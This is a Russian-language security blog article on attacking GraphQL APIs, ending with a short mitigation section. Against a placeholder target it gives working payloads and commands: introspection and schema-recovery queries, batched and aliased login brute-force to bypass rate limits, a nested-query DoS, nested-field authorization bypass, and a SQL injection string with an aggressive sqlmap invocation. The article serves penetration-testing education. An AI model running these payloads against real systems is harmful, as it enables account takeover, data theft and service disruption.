GraphQL: интроспекция включена, безопасность — нет
«GraphQL продали как «более безопасную альтернативу REST». Реальность: это тот же REST, только теперь с бесплатной картой всего API прямо на входе.» 💀
Introspection — фича, которая позволяет клиенту запросить у сервера полную схему: все типы, поля, аргументы, мутации. Отлично для разработки, автокомплита в IDE. Ужасно, если включена в проде без ограничений — потому что ты просто отдаёшь атакующему blueprint своего бэкенда за один запрос.
🗺️ Introspection: бесплатная карта сокровищ
Один запрос — и ты знаешь всё: какие типы данных существуют, какие мутации доступны, какие аргументы принимают резолверы.
# Классический introspection query — работает почти всегда
query IntrospectionQuery {
__schema {
types {
name
fields {
name
args { name type { name } }
type { name }
}
}
queryType { name }
mutationType { name }
}
}
# Быстрая проверка через curl
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name}}}"}' | jq
# Если получил список типов — introspection включена 🎯
🔥 Лайфхак: используй GraphQL Voyager или InQL (Burp extension) — вставляешь introspection-ответ, получаешь визуальную карту всей схемы с мутациями типа deleteUser, resetAllPasswords, grantAdminAccess. Разработчики не думают, что имена мутаций сами себя выдают.
Что искать в схеме первым делом:
→ Мутации с именами: admin*, delete*, reset*, grant*, impersonate*
→ Типы с полями: password, token, secret, apiKey, internalNotes
→ Deprecated поля — часто ещё работают, но не задокументированы снаружи
→ Аргументы фильтрации в queries — потенциальные точки для SQLi/BOLA
🕵️ Introspection выключена? Это не конец
Продвинутые команды отключают introspection в проде, думая что этого достаточно. Спойлер — недостаточно.
Field Suggestion — утечка через ошибки:
# Отправляем запрос с несуществующим полем с опечаткой
query {
usr {
id
}
}
// Многие GraphQL-серверы "помогают" в ответе
{"errors": [{"message": "Cannot query field \"usr\". Did you mean \"user\"?"}]}
💡 Field suggestion атака — методично перебирай слова, читай подсказки в ошибках, восстанавливай схему по кусочкам без единого introspection query. Медленнее, но работает даже когда introspection формально закрыта.
# Автоматизация восстановления схемы через brute-force полей
# clairvoyance — восстанавливает GraphQL схему без introspection
pip install clairvoyance
clairvoyance https://target.com/graphql -o recovered_schema.json
💣 Batching Attack: обход rate-limit пачками
Это фича, которая ломает всю модель rate-limiting на корню. GraphQL позволяет упаковать десятки/сотни операций в один HTTP-запрос. IP-based или request-based rate limiter видит один запрос — а на бэкенде выполняются тысячи операций.
# Обычный логин запрос
mutation { login(username: "admin", password: "test123") { token } }
# Батчинг — 1000 попыток пароля в ОДНОМ HTTP-запросе
[
{ "query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }" },
{ "query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }" },
{ "query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }" }
// ... x1000
]
Или через алиасы в одном запросе — тот же эффект, другой синтаксис:
mutation {
a1: login(username: "admin", password: "password") { token }
a2: login(username: "admin", password: "123456") { token }
a3: login(username: "admin", password: "qwerty") { token }
# ... x1000 алиасов
}
# Быстрый тест на batching support
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"}]'
# Если получил массив с двумя ответами — batching включён 🎯
Пошаговый чеклист теста батчинга:
1. Отправь простой query в квадратных скобках [] → проверь array-response
2. Тестируй лимит алиасов: 10 → 100 → 1000 одинаковых операций
3. Следи за временем отклика — линейный рост = синхронная обработка = уязвимо
🧠 Практическая ценность: brute-force логина, OTP-кодов, купонов — всё, что имеет rate-limit на уровне HTTP-запроса, ломается батчингом на уровне GraphQL-операций внутри одного запроса.
🌊 Query Depth Attack: DoS через бесконечную вложенность
GraphQL позволяет запрашивать связанные объекты рекурсивно. Без лимита глубины запроса — можно построить экспоненциально дорогой запрос.
# Классическая DoS-атака через глубину
query EvilQuery {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
friends { name }
}
}
}
}
}
}
}
}
# Автогенерация злонамеренно глубокого запроса
python3 -c "
depth = 15
query = 'user(id:1){friends{' * depth + 'name' + '}' * depth
print(f'{{{query}}}')
" > deep_query.graphql
💥 Circular query bomb: если типы ссылаются друг на друга циклически (User → Posts → Author → Posts → …), можно построить запрос, который заставит резолвер работать экспоненциально дольше линейного роста глубины.
🔓 Authorization: резолверы решают сами, и решают плохо
Отдельная боль GraphQL — авторизация часто раскидана по резолверам вместо единого middleware. Один резолвер проверяет права, другой — забывает.
# Query проверяет права правильно
query { user(id: 5) { name email } } # 403 если не твой аккаунт ✅
# А вложенное поле в другом типе — забыли проверить
query {
post(id: 42) {
title
author {
email # Внутренний резолвер не проверяет права на email!
privateNotes # Утечка через связанный объект
}
}
}
🔥 Это то же самое BOLA, только через relationship traversal. Прямой запрос объекта защищён, а доступ через связанное поле — не проверяется.
💉 Injection через GraphQL: SQLi и NoSQLi живы
GraphQL — это просто транспортный слой, он не защищает резолверы от инъекций, если бэкенд строит SQL-запросы конкатенацией.
query {
searchUsers(filter: "admin' UNION SELECT username,password FROM users--") {
id
}
}
# Автоматизация через InQL + sqlmap
# 1. InQL строит все возможные query из introspection
# 2. Экспортируй каждый query как отдельный HTTP request
# 3. Прогони через sqlmap с --data
sqlmap -u "https://target.com/graphql" \
--data='{"query":"{ searchUsers(filter: \"*\") { id } }"}' \
--level=5 --risk=3
📋 Чеклист пентестера GraphQL
□ Проверь introspection: {__schema{types{name}}}
□ Если закрыта — попробуй field suggestion через опечатки
□ Восстанови схему без introspection через clairvoyance
□ Протестируй batching: массив запросов и алиасы
□ Найди мутации с "опасными" именами (delete*, admin*, reset*)
□ Протестируй query depth — построй глубоко вложенный запрос
□ Проверь authorization на relationship traversal (nested fields)
□ Тестируй filter/search аргументы на SQLi/NoSQLi
□ Проверь rate-limit на bypass через batching для login/OTP
# InQL — генерация всех query из introspection автоматически
pip install inql
inql -t https://target.com/graphql -o output_dir/
# GraphQL Cop — автоматизированный security scanner
python3 graphql-cop.py -t https://target.com/graphql
🏆 Как защититься (для тех, кто патчит, а не ломает)
- Отключи introspection в проде — оставь только для dev/internal окружений с authentication
- Persisted queries + allowlist — клиент шлёт только hash заранее одобренного запроса, произвольный текст блокируется на edge
- Depth limiting + complexity scoring — назначь «стоимость» каждому полю, установи потолок на запрос
- Лимит batch size — максимум 5-10 операций на запрос, остальное = подозрительно
- Rate limiting внутри резолвера, а не на уровне HTTP — тогда батчинг не поможет обойти лимит
- Единый authorization layer в бизнес-логике, не в отдельных резолверах
Итог: GraphQL — это не «более безопасный REST», это REST с встроенной документацией для атакующего и новым набором векторов (batching, depth, relationship traversal), о которых команда часто не думает вообще. Introspection включена = твой API прозрачен как стекло. Introspection выключена = просто добавь один шаг восстановления схемы. 😈
Похожие статьи

BOLA/IDOR в REST API: итерируй всё подряд и молчи

Business Logic Flaws: баги, которые сканер никогда не найдёт
